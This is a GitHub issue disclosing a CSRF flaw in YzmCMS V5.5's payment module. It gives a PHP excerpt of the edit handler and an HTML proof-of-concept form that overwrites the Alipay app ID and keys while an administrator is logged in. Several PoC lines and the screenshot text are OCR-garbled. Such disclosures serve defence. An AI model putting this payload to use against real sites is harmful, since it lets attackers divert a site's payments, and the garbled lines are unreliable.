Jump to bottom

New issue A CSRF vulnerability exists in YzmCMS V5.5 #43

○ Closed FiveAourThe opened this issue on Mar 9, 2020 · 0 comments

```
FiveAourThe commented on Mar 9, 2020 • edited •
Introduction
When the Administrator login in , Attackers can construct malicious POCS to fool administrator into accessing it then the APPID of Alipay, the private key of the merchant application, and the
public key of Alipay can be change .Finally, a attacker can be get the profit of this website!
            public function edit() {
                      //支付配置模块
                      if(isset($_POST['dosubmit'])) {
      $id = isset($_POST['id']) ? intval($_POST['id']) : 0;
                               $config = array();
$data['enabled'] = intval($_POST['enabled']);
                               $data['config'] = array2string($_POST['config']);
if(D('pay_mode')->update($data, array('id'=>$id))){
                                         delcache('',true);
                                         return_json(array('status'=>1, 'message'=>L('operation_success')));
                               }else{
                                         return_json(); //修改成功{"status":0,"message":"\u6570\u636e\u672a\u4fee\u6539\uff01"}
                      }else{
                               $id = isset($_GET['id']) ? intval($_GET['id']) : 0;
                               $data = D('pay_mode')->where(array('id'=>$id))->find();
$config = string2array($data['config']);
                               include $this->admin_tpl($data['template']);
CSRF PoC
     <body>
     <script>history.pushState('', '', '/')</script>
        <form action="http://127.0.0.1/yzmcms/pay/pay/edit.html" method="POST">
          <input type="hidden" name="config&#91; app&#95; id&#93;" value="hack&#32;it" />
<input type="hidden" name="config&#91; merchant&#95; private&#95; key&#93;" value="hack&#32;it" />
         camput type="hidden" name="config@ata]meirnacemasjnplvatemassj, value="hack&#32jit" />
cinput type="hidden" name="config@ata]ailpayͿ public_ key] " value="hack&#32jit" />
cinput type="hidden" name="dosubmit" value="1" />
cinput type="hidden" name="id" value="1" />
        <input type="submit" value="See" />
</form>
  </body>
Proof
  YzmCMS内容管理系统 vs.s
                                  + 新増 ~
                                                 站点首页
                                                后台登录日志
                                                                                                                                       URL规则管理
  88 模块管理
                                ★ 首面 > 模块管理 > 支付模块
                                                                             支付宝配置
   模块管理
                                    支付方式名称
                                                                             支付方式
                                                                                               支付宝
                                                           支支付宝
                                       支付宝
                                                                                                                                                                                                    正常
                                                                                                                                                                                                                   配置
                                                                             签名方式
                                                                                               RSA2
                                                                             *应用ID(APPID)
                                                         (公) 微信支付
                                                                                                                                                                                                                   部署
                                                                                               hack it
                                 共2条记录,共1页,当前显示第1页
                                                                              *商户应用私钥
                                                                                               hack it
  ◎ 微信管理
                                                                             *支付宝公钥
  ♣ 管理员管理
                                                                                               ● 启用 ○ 禁用
  ♣ 系统管理
                                                                                   取消
  🖯 数据管理
Suggestion
Use the CSRFToken to protect it!
```

yzmcms closed this as completed on May 28, 2020

Assignees

No one assigned

None yet	
Projects None yet	
Note yet	
Milestone	
No milestone	
Development	
No branches or pull requests	

2 participants

